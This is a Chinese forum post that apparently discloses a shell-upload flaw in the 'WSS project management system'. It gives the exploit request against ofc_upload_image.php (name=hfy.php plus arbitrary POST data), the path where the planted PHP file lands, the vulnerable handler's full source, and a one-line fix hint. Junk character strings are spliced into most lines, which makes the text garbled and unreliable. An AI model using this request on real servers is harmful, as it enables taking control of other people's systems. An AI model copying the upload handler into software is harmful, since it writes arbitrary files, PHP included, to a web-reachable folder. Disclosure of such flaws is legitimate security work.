WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
3 q) `; o9 p/ j2 c2 |: u 漏洞文件/chart/php-ofc-library/ofc_upload_image.php
+ ]4 d$ }! z5 M9 f' |' s. Y5 P
利用：
% t1 m) ^4 b3 r3 R0 H  j4 _/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
4 D, a, d* ~& X  o5 l. t5 k
Post任意数据
& ?$ D. K7 ^7 o* t1 |保存位置http://localhost/chart/tmp-upload-images/hfy.php
5 l1 Z( c5 u- b& p
3 z$ z: W3 P+ O9 z: }7 ]
最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
9 \8 p% \6 t3 O7 G! Q9 P
! U% j! I6 Y0 Y5 r, K5 u<?php
% L$ L8 w* J1 {& F4 ?
/ }: e( b% {' N+ Q( e$ e& i//
2 u7 E. h7 g( }1 R7 s* W- ~+ i// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
! [+ Q0 P, h8 M( \//

% n5 J' \' G# h! a2 t/*
; [" }) Y9 G1 U6 t  }
print_r( $_GET );
- w7 \4 [' a& A( ^0 z5 S& g" P+ T' Lprint_r( $_POST );
print_r( $_FILES );

+ h( f' N9 L8 n% Z4 Rprint_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
* h% \; L8 W2 N# G
*/
) y# F# a4 g, m3 t9 }// default path for the image to be stored //
/ C$ L& [9 \, y2 v$default_path = '../tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);
/ ~- J0 W$ G7 P% U
' B7 M2 h* f( O// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
/ M9 }5 C/ z0 ^& m
echo 'Saving your image to: '. $destination;
6 w# [" ?  z# t; ?  t3 S; i& Y// print_r( $_POST );
6 f, ]6 p3 _; ]. v2 g: X. x2 d2 O// print_r( $_SERVER );
3 q1 @  n* X7 R: M. d6 Q// echo $HTTP_RAW_POST_DATA;

//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
+ H9 l* ~' b; r7 P' h% z// the raw bits into $HTTP_RAW_POST_DATA
; Z% n$ e* h( r" q% h* h. v//

! B# k& p# D& S2 f* {8 K' K. }$jfh = fopen($destination, 'w') or die("can't open file");
& w1 S9 @: c6 w/ r2 Efwrite($jfh, $HTTP_RAW_POST_DATA);
  c  a0 i. j) G' A  Cfclose($jfh);

//
  A. P, d4 s1 h  W3 R) j7 G// LOOK:
//
! L& X( d7 u; X  S- `exit();
//
: C: n" h( O6 {6 [1 k+ n9 K// PHP5:
//
. x* Q, J( i5 e" k

// default path for the image to be stored //
+ m9 p6 B, u* D9 V$ G3 y$default_path = 'tmp-upload-images/';

& w. G! ]0 m: V; F5 ~1 F# _if (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
2 `, n3 J- e) Y7 Q+ N% @/ D# |$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

/ B2 Q( `- j4 U  Y// move the image into the specified directory //
! j. P' h5 s! x% I$ h; ?if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
  s6 m% R( |! |} else {
/ Q8 n5 U- I" D' U    echo "FILE UPLOAD FAILED";
: _& U  Y" r! @" d* ]+ U4 n% l}

$ u& P, [' @9 x! b6 W
; i: [1 P0 t4 Z?>

. f4 R1 P& ^8 U/ Y( I2 I
/ m6 p/ S: z( A( \1 A0 m% |
! ~; u, D% T0 U( Q7 M" q0 g" X


- u) J& A/ N/ c! U: w( r修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞

4 _6 T: M2 r! r
2 a1 d& `( c7 ^, q